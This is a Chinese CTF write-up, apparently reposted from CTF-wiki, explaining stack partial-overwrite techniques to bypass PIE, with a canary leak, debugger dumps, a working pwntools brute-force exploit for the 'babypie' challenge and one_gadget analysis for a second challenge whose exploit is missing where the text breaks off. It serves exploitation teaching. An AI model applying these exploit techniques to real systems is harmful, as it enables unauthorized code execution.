[花式栈溢出]栈上的 partial overwrite

partial overwrite 这种技巧在很多地方都适用, 这里先以栈上的 partial overwrite 为例来介绍这种思想。

我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。

2018 - 安恒杯 - babypie

核心思想总结

  1. 覆盖canary的低字节的一位,防止\x00截断,然后利用write泄露canary
  2. 覆盖ret的低两字节(实际上是一个半字节,最后半个字节随便猜就可以),由于地址随机化并不会改变页框内的偏移,重复碰撞即可。

程序

题目链接https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/partial_overwrite

  • 查看保护
babypie: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=77a11dbd367716f44ca03a81e8253e14b6758ac3, stripped
[*] '/home/m4x/pwn_repo/LinkCTF_2018.7_babypie/babypie'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
  • 程序分析
    IDA 中看一下, 很容易就能发现漏洞点, 两处输入都有很明显的栈溢出漏洞, 需要注意的是在输入之前, 程序对栈空间进行了清零, 这样我们就无法通过打印栈上信息来 leak binary 或者 libc 的基址了
__int64 sub_960()
{
  char buf[40]; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  *(_OWORD *)buf = 0uLL;
  *(_OWORD *)&buf[16] = 0uLL;
  puts("Input your Name:");
  read(0, buf, 0x30uLL);                        // overflow
  printf("Hello %s:\n", buf, *(_QWORD *)buf, *(_QWORD *)&buf[8], *(_QWORD *)&buf[16], *(_QWORD *)&buf[24]);
  read(0, buf, 0x60uLL);                        // overflow
  return 0LL;
}

同时也发现程序中给了能直接 get shell 的函数

.text:0000000000000A3E getshell        proc near
.text:0000000000000A3E ; __unwind { .text:0000000000000A3E                 push    rbp
.text:0000000000000A3F                 mov     rbp, rsp
.text:0000000000000A42                 lea     rdi, command    ; "/bin/sh"
.text:0000000000000A49                 call    _system
.text:0000000000000A4E                 nop
.text:0000000000000A4F                 pop     rbp
.text:0000000000000A50                 retn
.text:0000000000000A50 ; } // starts at A3E
.text:0000000000000A50 getshell        endp

这样我们只要控制 rip 到该函数即可

leak canary

在第一次 read 之后紧接着就有一个输出, 而 read 并不会给输入的末尾加上 \0, 这就给了我们 leak 栈上内容的机会。

为了第二次溢出能控制返回地址, 我们选择 leak canary. 可以计算出第一次 read 需要的长度为 0x30 - 0x8 + 1 (+ 1 是为了覆盖 canary 的最低位为非 0 的值, printf 使用 %s 时, 遇到 \0 结束, 覆盖 canary 低位为非 0 值时, canary 就可以被 printf 打印出来了)

$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007ffff7b04260  →  <__read_nocancel+7> cmp rax, 0xfffffffffffff001
$rdx   : 0x30              
$rsp   : 0x00007fffffffddc8  →  0x0000555555554a0d  →   lea rax, [rbp-0x30]
$rbp   : 0x00007fffffffde00  →  0x00007fffffffde20  →  0x0000555555554a80  →   push r15
$rsi   : 0x00007fffffffddd0  →  0x6161616161616161 ("aaaaaaaa"?)
$rdi   : 0x0000555555554b15  →  "Hello %s:"
$rip   : 0x00007ffff7a62800  →  <printf+0> sub rsp, 0xd8
$r8    : 0x00007ffff7fde700  →  0x00007ffff7fde700  →  [loop detected]
$r9    : 0x0               
$r10   : 0x25b             
$r11   : 0x00007ffff7a62800  →  <printf+0> sub rsp, 0xd8
$r12   : 0x0000555555554830  →   xor ebp, ebp
$r13   : 0x00007fffffffdf00  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffddc8│+0x0000: 0x0000555555554a0d  →   lea rax, [rbp-0x30]  ← $rsp
0x00007fffffffddd0│+0x0008: 0x6161616161616161   ← $rsi
0x00007fffffffddd8│+0x0010: 0x6161616161616162
0x00007fffffffdde0│+0x0018: 0x6161616161616163
0x00007fffffffdde8│+0x0020: 0x6161616161616164
0x00007fffffffddf0│+0x0028: 0x6161616161616165
0x00007fffffffddf8│+0x0030: 0xd804f82016417461
0x00007fffffffde00│+0x0038: 0x00007fffffffde20  →  0x0000555555554a80  →   push r15  ← $rbp
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7a627f7 <fprintf+135>    add    rsp, 0xd8
   0x7ffff7a627fe <fprintf+142>    ret    
   0x7ffff7a627ff                  nop    
 → 0x7ffff7a62800 <printf+0>       sub    rsp, 0xd8
   0x7ffff7a62807 <printf+7>       test   al, al
   0x7ffff7a62809 <printf+9>       mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7a6280e <printf+14>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7a62813 <printf+19>      mov    QWORD PTR [rsp+0x38], rcx
   0x7ffff7a62818 <printf+24>      mov    QWORD PTR [rsp+0x40], r8
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "babypie", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7a62800 → __printf(format=0x555555554b15 "Hello %s:\n")
[#1] 0x555555554a0d → lea rax, [rbp-0x30]
[#2] 0x555555554a6a → mov eax, 0x0
[#3] 0x7ffff7a2d830 → __libc_start_main(main=0x555555554a51, argc=0x1, argv=0x7fffffffdf08, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdef8)
[#4] 0x555555554859 → hlt 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  canary 
[+] Found AT_RANDOM at 0x7fffffffe279, reading 8 bytes
[+] The canary of process 23086 is 0xd804f82016417400

覆盖返回地址

有了 canary 后, 就可以通过第二次的栈溢出来改写返回地址了, 控制返回地址到 getshell 函数即可, 我们先看一下没溢出时的返回地址

0x000055dc43694a1e in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 RAX  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
 RBX  0x0
 RCX  0x7f206c6696f0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x60
 RDI  0x0
 RSI  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
 R8   0x7f206cb22700 ◂— 0x7f206cb22700
 R9   0x3e
 R10  0x73
 R11  0x246
 R12  0x55dc43694830 ◂— xor    ebp, ebp
 R13  0x7fff9aa3b050 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fff9aa3af50 —▸ 0x7fff9aa3af70 —▸ 0x55dc43694a80 ◂— push   r15
 RSP  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
 RIP  0x55dc43694a1e ◂— call   0x55dc436947f0
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
   0x55dc43694a08    call   0x55dc436947e0

   0x55dc43694a0d    lea    rax, [rbp - 0x30]
   0x55dc43694a11    mov    edx, 0x60
   0x55dc43694a16    mov    rsi, rax
   0x55dc43694a19    mov    edi, 0
 ► 0x55dc43694a1e    call   0x55dc436947f0

   0x55dc43694a23    mov    eax, 0
   0x55dc43694a28    mov    rcx, qword ptr [rbp - 8]
   0x55dc43694a2c    xor    rcx, qword ptr fs:[0x28]
   0x55dc43694a35    je     0x55dc43694a3c

   0x55dc43694a37    call   0x55dc436947c0
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rax rsi rsp  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓
05:0028│              0x7fff9aa3af48 ◂— 0xbfe0cfbabccd2861
06:0030│ rbp          0x7fff9aa3af50 —▸ 0x7fff9aa3af70 —▸ 0x55dc43694a80 ◂— push   r15
07:0038│              0x7fff9aa3af58 —▸ 0x55dc43694a6a ◂— mov    eax, 0
pwndbg> x/10i (0x0A3E+0x55dc43694000) 
   0x55dc43694a3e:  push   rbp
   0x55dc43694a3f:  mov    rbp,rsp
   0x55dc43694a42:  lea    rdi,[rip+0xd7]        # 0x55dc43694b20
   0x55dc43694a49:  call   0x55dc436947d0
   0x55dc43694a4e:  nop
   0x55dc43694a4f:  pop    rbp
   0x55dc43694a50:  ret    
   0x55dc43694a51:  push   rbp
   0x55dc43694a52:  mov    rbp,rsp
   0x55dc43694a55:  sub    rsp,0x10

可以发现, 此时的返回地址与 get shell 函数的地址只有低位的 16 bit 不同, 如果覆写低 16 bit 为0x?A3E, 就有一定的几率 get shell

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
while True:
    try:
        io = process("./babypie", timeout = 1)

        #  gdb.attach(io)
        io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1))
        io.recvuntil('a' * (0x30 - 0x8 + 1))
        canary = '\0' + io.recvn(7)
        success(canary.encode('hex'))

        #  gdb.attach(io)
        io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')

        io.interactive()
    except Exception as e:
        io.close()
        print e

2018-XNUCA-gets

程序

有一个栈溢出的漏洞,然而没有任何 leak

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v4; // [rsp+0h] [rbp-18h]

  gets((char *)&v4);
  return 0LL;
}

比较好的是程序没有 canary,自然我们很容易控制程序的 EIP,但是控制到哪里是一个问题。

分析

我们通过 ELF 的基本执行流程(可执行文件部分)来知道程序的基本执行流程,与此同时我们发现在栈上存在着两个函数的返回地址。

pwndbg> stack 25
00:0000│ rsp  0x7fffffffe398 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
01:0008│      0x7fffffffe3a0 ◂— 0x1
02:0010│      0x7fffffffe3a8 —▸ 0x7fffffffe478 —▸ 0x7fffffffe6d9 ◂— 0x6667682f746e6d2f ('/mnt/hgf')
03:0018│      0x7fffffffe3b0 ◂— 0x1f7ffcca0
04:0020│      0x7fffffffe3b8 —▸ 0x400420 ◂— sub    rsp, 0x18
05:0028│      0x7fffffffe3c0 ◂— 0x0
06:0030│      0x7fffffffe3c8 ◂— 0xf086047f3fb49558
07:0038│      0x7fffffffe3d0 —▸ 0x400440 ◂— xor    ebp, ebp
08:0040│      0x7fffffffe3d8 —▸ 0x7fffffffe470 ◂— 0x1
09:0048│      0x7fffffffe3e0 ◂— 0x0
... ↓
0b:0058│      0x7fffffffe3f0 ◂— 0xf79fb00f2749558
0c:0060│      0x7fffffffe3f8 ◂— 0xf79ebba9ae49558
0d:0068│      0x7fffffffe400 ◂— 0x0
... ↓
10:0080│      0x7fffffffe418 —▸ 0x7fffffffe488 —▸ 0x7fffffffe704 ◂— 0x504d554a4f545541 ('AUTOJUMP')
11:0088│      0x7fffffffe420 —▸ 0x7ffff7ffe168 ◂— 0x0
12:0090│      0x7fffffffe428 —▸ 0x7ffff7de77cb (_dl_init+139) ◂— jmp    0x7ffff7de77a0

其中__libc_start_main+240位于 libc 中,_dl_init+139 位于 ld 中

0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0
0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so

一个比较自然的想法就是我们通过 partial overwrite 来修改这两个地址到某个获取 shell 的位置,那自然就是 Onegadget 了。那么我们究竟覆盖哪一个呢??

我们先来分析一下 libc 的基地址 0x7ffff7a0d000。我们一般要覆盖字节的话,至少要覆盖 1 个半字节才能够获取跳到 onegadget。然而,程序中读取的时候是 gets读取的,也就意味着字符串的末尾肯定会存在\x00。

而我们覆盖字节的时候必须覆盖整数倍个数,即至少会覆盖 3 个字节,而我们再来看看__libc_start_main+240 的地址 0x7ffff7a2d830,如果覆盖 3 个字节,那么就是0x7ffff700xxxx,已经小于了 libc 的基地址了,前面也没有刻意执行的代码位置。

一般来说 libc_start_main 在 libc 中的偏移不会差的太多,那么显然我们如果覆盖 __libc_start_main+240 ,显然是不可能的。

而 ld 的基地址呢?如果我们覆盖了栈上_dl_init+139,即为0x7ffff700xxxx。而观察上述的内存布局,我们可以发现libc位于 ld 的低地址方向,那么在随机化的时候,很有可能 libc 的第 3 个字节是为\x00 的。

举个例子,目前两者之间的偏移为

0x7ffff7dd7000-0x7ffff7a0d000=0x3ca000

那么如果 ld 被加载到了 0x7ffff73ca000,则显然 libc 的起始地址就是0x7ffff7000000

因此,我们有足够的理由选择覆盖栈上存储的_dl_init+139。那么覆盖成什么呢?还不知道。因为我们还不知道 libc 的库版本是什么,,

我们可以先随便覆盖覆盖,看看程序会不会崩溃,毕竟此时很有可能会执行 libc 库中的代码。
判断出来libc版本(实测失败)
确定好了 libc 的版本后,我们可以选一个 one_gadget,这里我选择第一个,较低地址的。

➜  gets one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

使用如下 exp 爆破即可

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 5,644评论 0 2
  • 一、温故而知新 1. 内存不够怎么办 内存简单分配策略的问题地址空间不隔离内存使用效率低程序运行的地址不确定 关于...
    SeanCST阅读 12,400评论 0 27
  • 开始写作啦 这曾是一个多么遥不可及的梦 我们想 思考 却怕写 怕抒发 哪怕是别人从门前掠过不经意的看了那么一眼 隐...
    Cornig阅读 1,693评论 0 1
  • 今天是开学的第二天,刚接到老师的短信,椰子今天在学校的表现超赞,自己独立把午饭吃光光,早早的脱鞋爬上床睡觉。任何环...
    朵姐520阅读 3,471评论 2 1

友情链接更多精彩内容